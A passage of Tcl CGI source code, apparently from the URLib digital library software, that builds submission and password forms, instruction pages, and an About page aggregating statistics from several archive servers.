[expr [string equal {empty} $env(DOMAIN_NAME)] || ![regexp {^([^<\s@]+)@([^@\s>]+)$} $userName]?{${cellFont}${Password} }:{${cellFont}${Password} ${Forgot it?} }]
${cellFont}$column2Value
"
# an additional hidden input is needed because some browsers are not able to update the password field value with the coded password
# (see ProcessKey JavaScript procedure)
lappend additionalRowList " "
lappend additionalRowList " "
lappend lineList "if (document.update.password1.value == \"\") {fieldNameList += document.update.password1fieldname.value + \"\\\\\\\\\\\\\\\\n\"; i++}"
if [string equal {add} $updateOption] {
# add option
set index [lindex [array names submissionDestinationTable $referenceType,*] 0]
if ![string equal {} $index] {
# a submission destination is defined (used when closing some ePrint environments)
set helpExpression [Help Password2]
regsub -all {"} $helpExpression {\\"} helpExpression
# NAME=password2
lappend additionalRowList "
${cellFont}${Password}
${cellFont}$helpExpression
"
lappend additionalRowList " "
}
}
}
} else {
# submit
# session
ConditionalSet session cgi(session) {}
# userName
ConditionalSet userName cgi(username) {}
# userType
ConditionalSet userType cgi(usertype) {}
# delayedReturnButton
ConditionalSet delayedReturnButton cgi(delayedreturnbutton) {}
# userAction
ConditionalSet userAction cgi(useraction) {}
if ![string equal {} $session] {
# a session
lappend rowList " "
lappend rowList " "
lappend rowList " "
lappend rowList " " ;# used in submission.js
lappend rowList " " ;# used in submission.js
set wrongPassword { }
} else {
# no session
if {[info exists displayTable($referenceType,username)] && \
[lindex $displayTable($referenceType,username) 0]} {
# insert username and password
lappend rowList "
${cellFont}$conversionTable(username)
${cellFont}[lindex $displayTable($referenceType,username) 1]
"
lappend rowList " "
lappend rowList " " ;# added by GJFB in 2019-01-04
lappend rowList " " ;# added by GJFB in 2019-01-04
lappend rowList " " ;# added by GJFB in 2019-01-15
lappend lineList "if (document.submit.username.value == \"\") {fieldNameList += document.submit.usernamefieldname.value + \"\\\\\\\\\\\\\\\\n\"; i++}"
# puts $restrictedSubmission
set passwordTypeFlag [expr $restrictedSubmission && [info exists authorizedEmailDomains]] ;# added by GJFB in 2020-10-09 - flag value 0 means that the request is for a new password, 1 means the request is for a first password
if $passwordTypeFlag {
set passwordHelp ${Don't have or forgot it?}
} else {
set passwordHelp ${Forgot it?}
}
lappend rowList "
[expr [string equal {empty} $env(DOMAIN_NAME)] || !$restrictedSubmission?{${cellFont}${Password} }:{${cellFont}${Password} $passwordHelp }]
${cellFont}[lindex $displayTable($referenceType,password1) 1]
"
# an additional hidden input is needed because some browsers are not able to update the password field value with the coded password
# (see ProcessKey JavaScript procedure)
lappend rowList " "
lappend rowList " "
lappend lineList "if (document.submit.password1.value == \"\") {fieldNameList += document.submit.password1fieldname.value + \"\\\\\\\\\\\\\\\\n\"; i++}"
# puts --$restrictedSubmission--
if {$restrictedSubmission || \
([info exists submissionPolicyTable($referenceType)] && $submissionPolicyTable($referenceType) == 1)} {
## Migration 25/1/04
# set password2Warning {}
## Migration 25/1/04 - end
} else {
# lappend rowList " "
# lappend lineList "if (document.submit.password2.value == \"\") {fieldNameList += document.submit.password2fieldname.value + \"\\\\\\\\\\\\\\\\n\"; i++}"
lappend rowList "
${cellFont}${Password}
${cellFont}[lindex $displayTable($referenceType,password2) 1]
"
lappend rowList " "
## Migration 25/1/04
# if ![info exists submissionPassword2WarningArray($referenceType)] {
# set submissionPassword2WarningArray($referenceType) {}
# }
# set password2Warning [subst $submissionPassword2WarningArray($referenceType)]
## Migration 25/1/04 - end
}
# Migration 25/1/04
if [info exists submissionPasswordWarningArray($referenceType)] {
set passwordWarning [subst $submissionPasswordWarningArray($referenceType)]
}
# Migration 25/1/04 - end
set wrongPassword { }
} else {
# don't insert username and password
set passwordWarning {}
set wrongPassword {}
if ![string equal {} [lindex $displayTable($referenceType,username) 2]] {
lappend rowList " "
}
}
}
}
# Add username and password fields - end
# Set noAccessRestrictionFlag
if $update {
SetFieldValue $serverAddressWithIP $metadataRep-0 {readpermission}
set noAccessRestrictionFlag [ComputeAccessRestrictionFlag $readpermission $env(REMOTE_ADDR)]
}
# Set noAccessRestrictionFlag - end
# Load htmlContent
if $update {
# update
if [file exists ../$col/$submissionFormLanguageRep/doc/${submissionFormLanguage}UpdateSubmission.html] {
set filePath $submissionFormLanguageRep/doc/${submissionFormLanguage}UpdateSubmission.html
} else {
if [file exists ../$col/$languageRep1/doc/${language}UpdateSubmission.html] {
set filePath $languageRep1/doc/${language}UpdateSubmission.html
} else {
set filePath $languageRep2/doc/${language}UpdateSubmission.html
}
}
# puts $filePath
Load ../$col/$filePath htmlContent
if [info exists updatePasswordWarningArray($referenceType)] {
set passwordWarning [subst $updatePasswordWarningArray($referenceType)]
}
## Migration 25/1/04
# set password2Warning {}
## Migration 25/1/04 - end
## displayControl.tcl after 31/1/04 doesn't use the variable below
# set requiredFileName {}
## displayControl.tcl after 31/1/04 doesn't use the variable below - end
set additionalRowList [join $additionalRowList \n]
set additionalRowList2 {}
foreach line [split $additionalRowList \n] {
regsub -all {"} $line {\\\\\\\\"} line
lappend additionalRowList2 \"$line\"
}
set additionalRowList [join $additionalRowList2 ,\n]
if ![string equal {} $additionalRowList] { set additionalRowList $additionalRowList,} ;# add trailing comma for JavaScript below
# javaScript
if $userNameFieldTypeNumber {
# insert password
set ifConditionForJavaScript {(codedPassword1 == null)}
} else {
# don't insert password
set ifConditionForJavaScript {(0)}
}
set javaScript "
"
# Used by JavaScript
# if ![info exists cgi(wrongpassword)] {set cgi(wrongpassword) {no}}
set cgi(wrongpassword) {no}
# Used by JavaScript - end
} else {
# submit
if [file exists ../$col/$submissionFormLanguageRep/doc/${submissionFormLanguage}Submit.html] {
set filePath $submissionFormLanguageRep/doc/${submissionFormLanguage}Submit.html
} else {
if [file exists ../$col/$languageRep1/doc/${language}Submit.html] {
set filePath $languageRep1/doc/${language}Submit.html
} else {
set filePath $languageRep2/doc/${language}Submit.html
}
}
# puts $filePath
Load ../$col/$filePath htmlContent
if 0 {
# old code
# Migration 25/1/04
set fileNameWarningArray($referenceType) {}
# Migration 25/1/04 - end
# displayControl.tcl after 31/1/04 doesn't use the variable below
set requiredFileName $requiredFieldFootnoteTable($referenceType)
set requiredUserName $requiredFieldFootnoteTable($referenceType)
# displayControl.tcl after 31/1/04 doesn't use the variable below - end
set fileNameWarning {}
}
}
# Load htmlContent - end
# Site warning
if [info exists cgi(showformsite)] {
# cgi(showformsite) value may be anything
global "${languageRep2}::to the site <\$localSite> "
set siteWarning "\${to the site <\$localSite> }"
} else {
Load ../$col/$currentRep/doc/@siteList.txt fileContent
set fileContent [string trim $fileContent " \n"]
regsub -all "\n+" $fileContent "\n" fileContent
set siteList [split $fileContent \n]
set numberOfSites2 [llength $siteList]
if {$numberOfSites2 == 0} {
set siteWarning ""
} else {
global "${languageRep2}::to the site <\$localSite> "
set siteWarning "\${to the site <\$localSite> }"
}
}
# Site warning - end
# Additional instructions
# set in xxFillingInstructions.tcl
ConditionalSet additionalInstructions additionalInstructionsArray($referenceType) {}
# Additional instructions - end
# ifListCreation
set ifListCreation [join $lineList \n]
# ifOrcidListCreation
set ifOrcidListCreation [join $orcidLineList \n]
# ifElectronicMailAddressListCreation
set ifElectronicMailAddressListCreation [join $electronicMailAddressLineList \n]
# displayControl.tcl after 31/1/04 doesn't use the variable below
set requiredPassword $requiredFieldFootnoteTable($referenceType)
# displayControl.tcl after 31/1/04 doesn't use the variable below - end
if ![info exists copyrightArray($referenceType)] {set copyrightArray($referenceType) {}}
ConditionalSet submissionPeriod submissionPeriodArray($referenceType) {}
if ![info exists submitHeaderArray($referenceType)] {set submitHeaderArray($referenceType) {}}
if ![info exists submitFooterArray($referenceType)] {set submitFooterArray($referenceType) {}}
# if [info exists documentStage] {
# lappend hiddenInputList " "
# }
set hiddenInput [join $hiddenInputList \n]
set rowListSize [llength $rowList]
set rowList [join $rowList \n]
# puts $rowList
# regsub -all {\\} $rowList {\\\\\\\\} rowList ;# \ -> \\
# puts $htmlContent
set htmlContent [ProcessBrackets $htmlContent]
if [string equal {yes} $cgi(frameinuse)] {
set popupWarning ${popup warning}
} else {
set popupWarning {}
}
# puts $htmlContent
# catch {subst [subst $htmlContent]} output
# catch {subst [subst [subst $htmlContent]]} output
# catch {SetFont [subst [subst [subst [subst $htmlContent]]]]} output
# set output $htmlContent
# set output [subst $htmlContent]
# set rowList [ProcessBrackets $rowList] ;# rowList appears in subst $htmlContent and may contain square brackets that must be coded (for example in affiliation) - added by GJFB in 2011-11-28 - doesn't work here because of, e.g., [Help Keywords]
# set output [subst [subst $htmlContent]]
# set output [subst [subst [subst $htmlContent]]]
# set output [subst [subst [subst [subst $htmlContent]]]]
# puts --$displayTable(Report,%@contenttype)--
# => --3 {} {} {}--
if 1 {
set returnInfo [ProcessBrackets $returnInfo] ;# returnInfo may be used in htmlContent and may contain square brackets that must be coded - added by GJFB in 2011-09-09
set output [SetFont [subst [subst [subst [subst $htmlContent]]]]]
set output [UnProcessBrackets $output]
}
# puts [array get cgi]
# puts [pwd]
}
^FillingInstructions$ {
# cgi inputs used by FillingInstructions:
# repository (used by instructions/xxUpdateInstructions.html)
# puts [array get cgi]
source ../$col/$languageRep2/doc/mirror/${submissionFormLanguage}Submit.tcl
global "${languageRep2}::headerWarning"
global "${languageRep2}::zipFileWarning"
global "${languageRep2}::fileNameWarning"
# referenceType
ConditionalSet referenceType cgi(referencetype) {Misc}
# instructionType
set instructionType $cgi(instructiontype)
# advancedUser
ConditionalSet advancedUser cgi(advanceduser) {} ;# advanceduser is used only with the instruction for choosing the update type
# updateOption
ConditionalSet updateOption cgi(updateoption) {}
# submitButtonFlag
ConditionalSet submitButtonFlag cgi(submitbuttonflag) {}
# buttonName
ConditionalSet buttonName cgi(buttonname) {}
# buttonName1
ConditionalSet buttonName1 cgi(buttonname1) {}
# buttonName2
ConditionalSet buttonName2 cgi(buttonname2) {}
# fieldType
# set fieldType $cgi(fieldtype) ;# comented by GJFB in 2023-07-04 - produce the error: 'CreateMirror (5): can't read "cgi(fieldtype)": no such element in array' when pressing '?' in between the update type menu and the Save/Check button
ConditionalSet fieldType cgi(fieldtype) {} ;# added by GJFB in 2023-07-04
# repPath
if {![string equal $languageRep1 $submissionFormLanguageRep] && \
[file exists ../$col/$submissionFormLanguageRep/doc/instructions/$language${instructionType}Instructions.html]} {
# puts {use the submission form language repository}
set repPath ../$col/$submissionFormLanguageRep
} elseif [file exists ../$col/$languageRep1/doc/instructions/$language${instructionType}Instructions.html] {
# puts {use the default or customized (if any) language repository}
set repPath ../$col/$languageRep1
} else {
# puts {use the default language repository}
set repPath ../$col/$languageRep2
}
# Source displayControl.tcl
set enableOutput 0
eval $sourceDisplayControl
# Source displayControl.tcl - end
# puts $referenceType
# puts [lindex $displayTable($referenceType,%K) 0]
if [info exists repPath] {
set filePath $repPath/doc/instructions/$language${instructionType}Instructions.html
# puts $filePath
# puts [file exists $filePath]
Load $filePath fileContent
if ![string equal {Search} $instructionType] {
# maximumFileSize
set maximumFileSize $maximumFileSizeTable($referenceType)
# contentTypeList
set contentTypeList [join $contentTypeTable($referenceType) ]
if ![regexp {application/x-zip-compressed|application/zip} $contentTypeTable($referenceType)] {
# drop the zip file warning
set zipFileWarning {}
}
if ![string equal {Electronic Source} $referenceType] {
# not an ePrint
# drop the header warning (saying: The submitted file must have the center part of the header empty.)
set headerWarning {}
}
}
# SUBST
# fieldName
# targetFile
if [string equal {Update} $instructionType] {
LoadService $cgi(repository) targetFile targetFile 0 1 ;# 0 is for uncrypted - 1 is for level 1
}
# fileNameWarning content is {Filling this field is optional since you might want to update just the metadata.} (see mirror/xxSubmit.tcl)
if [string equal {update} $cgi(submissiontype)] {
# update
set requiredFieldSymbol $requiredFieldFootnoteTable($referenceType) ;# e.g., (*)
regsub -all {(\*|\+)} $requiredFieldSymbol {\\\1} requiredFieldSymbol ;# requiredFieldSymbol is used in regular expression
if [regexp "$requiredFieldSymbol" [lindex $displayTable($referenceType,filename) 1]] {
# required field - drop warning
set fileNameWarning {}
}
} else {
# submit
# required field - drop warning
set fileNameWarning {}
}
ConditionalSet fieldName cgi(fieldname) {}
set output [subst $fileContent]
} else {
set output {there are no instructions}
}
}
^NewPassword$ {
source ../$col/$languageRep2/doc/mirror/${language}Register.tcl ;# needed for Cancel
global "${languageRep2}::Cancel"
global "${languageRep2}::site"
if [file exists ../$col/$languageRep1/doc/${language}NewPassword.html] {
set languageRep $languageRep1
} else {
set languageRep $languageRep2
}
# Source displayControl.tcl
set enableOutput 0
eval $sourceDisplayControl ;# set archiveAcronym, restrictedSubmission and authorizedEmailDomains
# Source displayControl.tcl - end
ConditionalSet passwordTypeFlag cgi(passwordtypeflag) 0 ;# added by GJFB in 2020-10-09 - flag value 0 means that the request is for a new password, 1 means the request is for a first password
if ![info exists authorizedEmailDomains] {set authorizedEmailDomains {}}
# archiveName
# archiveName is used by xxNewPassword.html and then by col/iconet.com.br/banon/2009/05.17.20.29/doc/cgi/createNewPassword.tcl
if [info exists archiveAcronym] {
set archiveName $archiveAcronym
} else {
set archiveName "$site $localSite"
}
if [info exists conferenceAcronym] {
set archiveName $conferenceAcronym
}
if {[info exists cgi(returnbutton)] && [string equal {yes} $cgi(returnbutton)]} {
set returnButton [CreateReturnButton ../$col/$languageRep2/doc/mirror About $cgi(targetframe) $Cancel]
} else {
set returnButton [CreateReturnButton ../$col/$languageRep2/doc/mirror About {} $Cancel]
}
# repSite
if 0 {
# testing using gjfb.home:1905
# set repSite gjfb.home:1905 ;# used in xxNewPassword.html
set repSite gjfb:1905 ;# used in xxNewPassword.html
} else {
set repSite urlib.net ;# used in xxNewPassword.html
}
ConditionalSet targetFrame cgi(targetframe) {}
Load ../$col/$languageRep/doc/${language}NewPassword.html body
set output [subst $body]
}
^About$ {
global timePeriod ;# set in TestForTclPageUpdate - added by GJFB in 2021-04-27 - used in xxAbout.html
# Source displayControl.tcl
set enableOutput 0
eval $sourceDisplayControl ;# set restrictedSubmission
# Source displayControl.tcl - end
set path $homePath/col/$mirrorHomePageRep/doc/${language}About.html
set alternatePath [CreateAlternatePath $path 1] ;# auxdoc/@xxAbout.html
set timePeriod2 [TestForTclPageUpdate $mirrorHomePageRep $path $alternatePath]
ConditionalSet forceAboutUpdating cgi(forceaboutupdating) 0 ;# default is 0
if {$timePeriod2 || $forceAboutUpdating} {
# global numberOfItems
global numberOfReferencesList ;# used in MultipleSubmit
global "${languageRep2}:: was distributed over \$numberOfActiveSites
within a total of \$numberOfSites2 Archives and it "
global "${languageRep2}:: Last Version: <\$lastVersion> ."
global "${languageRep2}:: Download it."
global "${languageRep2}::welcome1"
global "${languageRep2}::welcome2"
global "${languageRep2}::You can also access all the full texts of the Archive's own collection through the URLib Local Collection Index ."
global "${languageRep2}::incomplete metadata" ;# introduced in GetSiteInformation
global "${languageRep2}::missing directories" ;# introduced in GetSiteInformation
# package require http ;# needed here as well
set urlibServerAddress $env(URLIB_SERVER_ADDR) ;# urlib.net and port
# foreach {urlibServerName urlibPort} [ReturnCommunicationAddress $urlibServerAddress] {break}
# if {"$env(IP_ADDR) $env(URLIB_PORT)" == "$urlibServerName $urlibPort"} #
if {[string equal $serverAddress $urlibServerAddress] || [string equal www.$serverAddress $urlibServerAddress]} {
# Main Site
set welcome $welcome2
} else {
set welcome $welcome1
}
# numberOfReferencesList
# set query {list GetNumberOfItems}
set query {list GetNumberOfReferences}
# MULTIPLE SUBMIT
set numberOfReferencesList {}
if 0 {
# testing update this page without GetNumberOfReferences
set numberOfSatisfiedQueries 0
set listOfSites 0
set listOfActiveSites 0
set numberOfSites 0
} else {
# GETNUMBEROFREFERENCES
MultipleSubmit {} $query numberOfReferencesList 0
}
set numberOfSites2 $numberOfSites ;# numberOfSites is recomputed while executing GetSiteInformation (and the resulting value may be lower), therefore it must be preserved now
# one or more elements in numberOfReferencesList might contain an error message
# through listOfInactiveSites one can identify the sites that have produced
# the error messages
# puts --$numberOfReferencesList--
# => {{banon-pc3 800} {numberofreferences 806 numberofvisiblereferences 697 numberofvisiblereferenceswithfulltext 585}}
# siteList - used by ReturnSiteInformation in xxAbout.html
set numberOfReferencesList2 {}
set siteList {}
# set failingSiteList {gjfb 19050} ;# for testing
set failingSiteList {} ;# added by GJFB in 2024-05-19 to alert in the xxAbout.html frame about the sites that have a corrupted repArray
foreach siteResult $numberOfReferencesList {
if [string equal {0 0} $siteResult] { ;# see GetNumberOfReferences
lappend failingSiteList [lindex $siteResult 0] ;# added by GJFB in 2024-05-19 to alert in the xxAbout.html frame about the sites that have a corrupted repArray
continue
}
lappend numberOfReferencesList2 $siteResult
lappend siteList [lindex $siteResult 0]
}
# puts $siteList
# siteInformationList
set siteInformationList [join $numberOfReferencesList2]
# for each site, siteInformationList contains
# numberofreferences
# numberofvisiblereferences
# numberofvisiblereferenceswithfulltext
# puts --$siteInformationList--
# =>
# {banon-pc3 800} {numberofreferences 806 numberofvisiblereferences 697 numberofvisiblereferenceswithfulltext 585}
if [string equal {} $siteInformationList] { ;# if added by GJFB in 2024-05-19 to alert in the xxAbout.html frame that the current site has a corrupted repArray (case of an empty @siteList.txt)
puts
puts {The current site has probably a corrupted repArray and should be reset.}
puts
return
}
array set siteInformationArray $siteInformationList
set numberOfItemsList {}
foreach site [array names siteInformationArray] {
# $siteInformationArray($site)
# numberofreferences 300 numberofvisiblereferences 270 numberofvisiblereferenceswithfulltext 150
# puts [list $site --$siteInformationArray($site)--]
array set informationArray $siteInformationArray($site)
lappend numberOfItemsList [list $informationArray(numberofvisiblereferences) $informationArray(numberofvisiblereferenceswithfulltext)]
}
set numberOfItemsList [join $numberOfItemsList]
set numberOfActiveSites $numberOfSatisfiedQueries
set listOfInactiveSites {}
foreach item $listOfSites {
if {[lsearch $listOfActiveSites $item] == -1} {
lappend listOfInactiveSites $item
}
}
# nOR and nOFT
set nOR 0
set nOFT 0
foreach {numberOfVisibleReferences numberofvisiblereferenceswithfulltext} $numberOfItemsList {
set nOR [expr $nOR + $numberOfVisibleReferences]
set nOFT [expr $nOFT + $numberofvisiblereferenceswithfulltext]
}
# MULTIPLE SUBMIT
set command [list list GetSiteInformation] ;# GetSiteInformation is in utilitiesMirror.tcl
# GETSITEINFORMATION
# set siteInformationList [MultipleExecute {} $command] ;# commennted by GJFB in 2013-06-04 - uses @siteList.txt of loBiMiRep (!= $siteList)
set siteInformationList [MultipleExecute $siteList $command] ;# added by GJFB in 2013-06-04
set siteInformationList [join $siteInformationList]
# puts $siteInformationList ;# may contain an error message (e.g., when time-out for GetSiteInformation is large)
if [regexp "<(\{.*\})>" $siteInformationList m errorMessage] {
puts
if [catch {[join $errorMessage \n] message}] {
puts $errorMessage
} else {
puts $message
}
puts
return
}
array set siteInformationArray2 $siteInformationList
foreach site [array names siteInformationArray] {
if [info exists siteInformationArray2($site)] {
set siteInformationArray($site) [concat $siteInformationArray($site) $siteInformationArray2($site)]
}
}
set siteInformationList [array get siteInformationArray] ;# used by ReturnSiteInformation in xxAbout.html
# for each site, siteInformationList contains
# numberofreferences
# numberofvisiblereferences
# numberofvisiblereferenceswithfulltext
# serviceversion
# ipport
# integrityalert
# insertionon
# hourminute
# numberofprocessors
# cpumhz
# ram
# ramuse
# cachesize
# diskspaceavailable
# used
# diskspaceuse
# diskspeed
# indexsize
# puts $siteInformationList
# =>
# {gjfb.home 800} {numberofreferences 895 numberofvisiblereferences 791 numberofvisiblereferenceswithfulltext 683 serviceversion 15:03.06.22.57 ipport {192.168.1.31 80} integrityalert {*} insertionon { } hourminute 20:28 numberofprocessors - cpumhz - ram - ramuse - cachesize - diskspaceavailable - used - diskspaceuse - diskspeed - indexsize {3.2 MiB}}
# Compute the total line
if {[info tclversion] > 8.3} {
set totalNumberOfProcessors 0
set totalDiskSpaceAvailable 0
set totalUsed 0 ;# disk used
set totalNumberOfReferences 0
set totalIndexSize 0
set ipPortList {}
foreach site [array names siteInformationArray] {
if [info exists informationArray] {unset informationArray}
array set informationArray $siteInformationArray($site)
ConditionalSet currentIpPort informationArray(ipport) {}
set lsearchResult [lsearch $ipPortList $currentIpPort]
# totalNumberOfProcessors
if {[string equal {-} $totalNumberOfProcessors] || ![info exists informationArray(numberofprocessors)] || [string equal {-} $informationArray(numberofprocessors)]} {
set totalNumberOfProcessors {-}
} else {
if {$lsearchResult == -1} {
# count only once
incr totalNumberOfProcessors $informationArray(numberofprocessors)
}
}
# totalDiskSpaceAvailable
if {[string equal {-} $totalDiskSpaceAvailable] || ![info exists informationArray(diskspaceavailable)] || [string equal {-} $informationArray(diskspaceavailable)]} {
set totalDiskSpaceAvailable {-}
} else {
if {$lsearchResult == -1} {
# count only once
set totalDiskSpaceAvailable [expr $totalDiskSpaceAvailable + [lindex [regsub { } $informationArray(diskspaceavailable) { }] 0]]
}
}
# totalUsed
if {[string equal {-} $totalUsed] || ![info exists informationArray(used)] || [string equal {-} $informationArray(used)]} {
set totalUsed {-}
} else {
if {$lsearchResult == -1} {
# count only once
set totalUsed [expr $totalUsed + [lindex [regsub { } $informationArray(used) { }] 0]]
}
}
# totalNumberOfReferences
incr totalNumberOfReferences $informationArray(numberofreferences)
# totalIndexSize
if {[string equal {-} $totalIndexSize] || ![info exists informationArray(indexsize)] || [string equal {-} $informationArray(indexsize)]} {
set totalIndexSize {-}
} else {
set totalIndexSize [expr $totalIndexSize + [lindex [regsub { } $informationArray(indexsize) { }] 0]]
}
# ipPortList
if [info exists informationArray(ipport)] {
lappend ipPortList $informationArray(ipport)
}
}
# Add units
# puts --$totalUsed--
# puts --$totalDiskSpaceAvailable--
if {[string equal {-} $totalDiskSpaceAvailable] || $totalDiskSpaceAvailable == 0} {
set totalDiskSpaceUse {-}
set totalDiskSpaceAvailable {-}
} else {
set totalDiskSpaceUse [expr int(100 * ($totalUsed / double($totalDiskSpaceAvailable)))]%
set totalDiskSpaceAvailable [format "%.1f [lindex [regsub { } $informationArray(diskspaceavailable) { }] 1]" $totalDiskSpaceAvailable]
}
if ![string equal {-} $totalUsed] {
set totalUsed [format "%.1f [lindex [regsub { } $informationArray(used) { }] 1]" $totalUsed]
}
if ![string equal {-} $totalIndexSize] {
set totalIndexSize [format "%.1f [lindex [regsub { } $informationArray(indexsize) { }] 1]" $totalIndexSize]
}
# Add units - end
}
# Compute the total line - end
# URLibReferenceRep
set URLibReferenceRep iconet.com.br/banon/2001/02.10.22.55
# puts $numberOfSites
if {$numberOfSites2 == 1} {
set siteWarning " "
} else {
set siteWarning "\${ was distributed over \$numberOfActiveSites
within a total of \$numberOfSites2 Archives and it }"
}
if 0 {
# if {"$env(IP_ADDR) $env(URLIB_PORT)" == "$urlibServerName $urlibPort"} #
if {[string equal $serverAddress $urlibServerAddress] || [string equal www.$serverAddress $urlibServerAddress]} {
# Main site
set lastVersionWarning ""
set downloadWarning ""
} else {
# lastVersion
set query {list GetURLibServiceLastVersion}
# MULTIPLE SUBMIT
set lastVersion {}
# MultipleSubmit {} $query lastVersion 0 [list $urlibServerAddress2]
MultipleSubmit {} $query lastVersion 1 [list $urlibServerAddress2]
if [string equal {} $lastVersion] {
set lastVersionWarning ""
} else {
set lastVersionWarning "\${ Last Version: <\$lastVersion> .}"
}
if [string equal $env(SERVICE_VERSION) $lastVersion] {
set downloadWarning ""
} else {
set downloadWarning "\${ Download it.}"
}
}
} else {
set lastVersionWarning ""
set downloadWarning ""
}
# Get number of visits
# set numberOfVisits [Execute $serverAddressWithIP [list GetNumberOfVisits $env(LOBIMIREP)]]
set numberOfVisits [Execute $serverAddressWithIP [list GetNumberOfVisits $currentRep]]
# Get number of visits - end
# Link to index1.html
if [file exists ../$col/$env(LOCOINREP)/doc/index1.html] {
set indexHTML "\${You can also access all the full texts of the Archive's own collection through the URLib Local Collection Index .}"
} else {
set indexHTML ""
}
# Link to index1.html - end
if 1 {
# added by GJFB in 2024-03-10 to inform if the INPE servers have their sentinel process turned on or off
# < ip > < host >
# < server > < server > < server >
# 150.163.34.241 {{marte.sid.inpe.br 800} {marte2.sid.inpe.br 802} {marte3.sid.inpe.br 804}}
# < site > < site > < site >
if {0 || [string equal {bibdigital.sid.inpe.br 800} $serverAddress]} {
Load ../$col/$currentRep/doc/@siteList.txt fileContent
set lineList [split $fileContent \n]
lappend lineList {{bibdigital.sid.inpe.br 800} sid.inpe.br/bibdigital@80/2006/04.07.15.50 150.163.34.247}
# ipSiteArray
foreach line $lineList {
foreach {site archive ip} $line {break}
lappend ipSiteArray($ip) $site
}
# puts [array get ipSiteArray]
# => 150.163.34.241 {{marte.sid.inpe.br 800} {marte2.sid.inpe.br 802} {marte3.sid.inpe.br 804}} 150.163.34.249 {{mtc-m12.sid.inpe.br 800}} ...
# ipHostArray
foreach ip [array names ipSiteArray] {
foreach site $ipSiteArray($ip) {
foreach {server port} $site {break}
if [string equal {800} $port] {
set ipHostArray($ip) $server
break
}
}
}
# puts [array get ipHostArray]
# => 150.163.34.241 marte.sid.inpe.br 150.163.34.249 mtc-m12.sid.inpe.br ...
# hostFlagArray
foreach ip [array names ipHostArray] {
set host $ipHostArray($ip)
set site [lindex $ipSiteArray($ip) 0]
# set hostFlagArray($host) [Execute $site [list TestSentinelProcess]] ;# return 1 if the sentinel pid is known exists and 0 otherwise - commented by GJFB in 2024-03-22 because some sites might be slow
# set hostFlagArray($host) [Execute $site [list TestSentinelProcess] 0] ;# return 1 if the sentinel process exists and 0 otherwise - added by GJFB in 2024-03-22
if [catch {Execute $site [list TestSentinelProcess] 0} hostFlagArray($host)] { ;# return 1 if the sentinel process is running, 0 otherwise and "-" if undefined - added by GJFB in 2024-03-22
# communication with server [marte.sid.inpe.br 800] doesn't start
set hostFlagArray($host) - ;# "-' means that the sentinel state is indefined
}
}
# monitoringList
set hostFlagList [array get hostFlagArray] ;# used in pt-BRAbout.html only
foreach {host flag} $hostFlagList {
lappend monitoringList [list $host $flag]
}
}
}
# translationTable
source ../$col/$languageRep2/doc/mirror/${language}ReferenceTypeName.tcl ;# set translationTable
# global referencetype::translationTable
if [file exists ../$col/$languageRep1/doc/${language}About.html] {
Load ../$col/$languageRep1/doc/${language}About.html body
} else {
Load ../$col/$languageRep2/doc/${language}About.html body
}
set body [ProcessBrackets $body]
# puts $body
# puts $currentRep
# catch {subst $body} output
set output [subst $body]
set output [UnProcessBrackets $output]
set output [ProcessBrackets $output]
set output [SetFont [subst [subst $output]]]
set output [UnProcessBrackets $output]
set dirName [file dirname $alternatePath]
file mkdir $dirName ;# create the auxdoc directory in the mirrorHomePage.html repository
Store output $alternatePath
} else {
Load $alternatePath output
}
} ;# About - end
^BlankPage$ {
# used in xxForm.html to leave the input text (query) fixed when clicking +/-
# the blank page is displayed in the frame called BlackHole
return
}
.+ {
if [file exists ../$col/$languageRep1/doc/${language}$frameName.html] {
Load ../$col/$languageRep1/doc/${language}$frameName.html fileContent
set fileContent2 [ProcessBrackets $fileContent]
if [catch {subst $fileContent2} fileContent] {
return -code error "CreateMirror (2):
$fileContent
"
} else {
set output [UnProcessBrackets $fileContent]
}
} else {
return -code error "CreateMirror (3): file
$homePath/col/$languageRep1/doc/${language}$frameName.html
doesn't exist"
}
}
default {
# empty frameName
# puts OK
if $usePHP {
puts "Location: http://$localSite/col/$mirrorHomePageRep/doc/$mirrorHomePageTargetFile"
puts {}
return
}
# puts $env(QUERY_STRING)
# targetFrame
set targetFrame _top
if [info exists env(QUERY_STRING)] {
regexp {targetframe=([^&]*)} $env(QUERY_STRING) m targetFrame
}
# Capture URL (same code in createpage.tcl)
set q_u_e_r_y {}
if {[info exists env(QUERY_STRING)] && ![string equal {} $env(QUERY_STRING)]} {
# GET style
lappend q_u_e_r_y $env(QUERY_STRING)
}
if [info exists env(CONTENT_LENGTH)] {
# POST style
lappend q_u_e_r_y [string trim [read stdin $env(CONTENT_LENGTH)] \n]
}
# puts $q_u_e_r_y
set q_u_e_r_y [join $q_u_e_r_y &]
foreach {name value} [split $q_u_e_r_y &=] {
set cgi([DecodeURL $name]) [DecodeURL $value]
}
# puts [array get cgi]
# Capture URL - end
# Source displayControl.tcl
set enableOutput 1
eval $sourceDisplayControl ;# set mirrorPageOpeningOption
# Source displayControl.tcl - end
# frameName
# ConditionalSet frameName cgi(framename) {Recent} ;# used in the mirror home page file - value is Recent or About - commented by GJFB in 2020-07-17
if [info exists cgi(framename)] {
set frameName $cgi(framename)
} else {
ConditionalSet frameName mirrorPageOpeningOption {Recent} ;# used in the mirror home page file - value is Recent or About
}
# accent
ConditionalSet accent cgi(accent) {no} ;# used in the mirror home page file - value is yes or no
# case
ConditionalSet case cgi(case) {no} ;# used in the mirror home page file - value is yes or no
# continue
ConditionalSet continue cgi(continue) {no} ;# used in the mirror home page file - value is yes or no
# returnButton
ConditionalSet returnButton cgi(returnbutton) {yes} ;# added by GLFB in 2022-09-11 - used in the mirror home page file - value is yes or no
# choice
ConditionalSet choice cgi(choice) {brief} ;# used in the mirror home page file - value is short, brief, briefTitleAuthor, briefTitleAuthorMisc, full, fullbibtex, fullrefer, fullBibINPE or fullXML
# query
ConditionalSet query cgi(query) {} ;# added by GJFB in 2022-06-13 - used in the mirror home page file - value is a search expression
# query2
ConditionalSet query2 cgi(query2) {} ;# added by GJFB in 2022-06-13 - used (via searchInputValue) in the mirror home page file - value is a search expression
# ConditionalSet query2 cgi(query2) {referencetype Report and rep *2011*} ;# for testing
set query2 {} ;# query2 not in use
regsub -all { } $query2 {+} query2
# searchInputValue
ConditionalSet searchInputValue cgi(searchinputvalue) $query ;# added by GJFB in 2022-06-13 - used in the mirror home page file - value is a search expression
# searchInputValue2
regsub -all { } $searchInputValue {+} searchInputValue2 ;# added by GJFB in 2022-06-13 - used in the mirror home page file - value is a search expression for URL
# forceRecentFlag
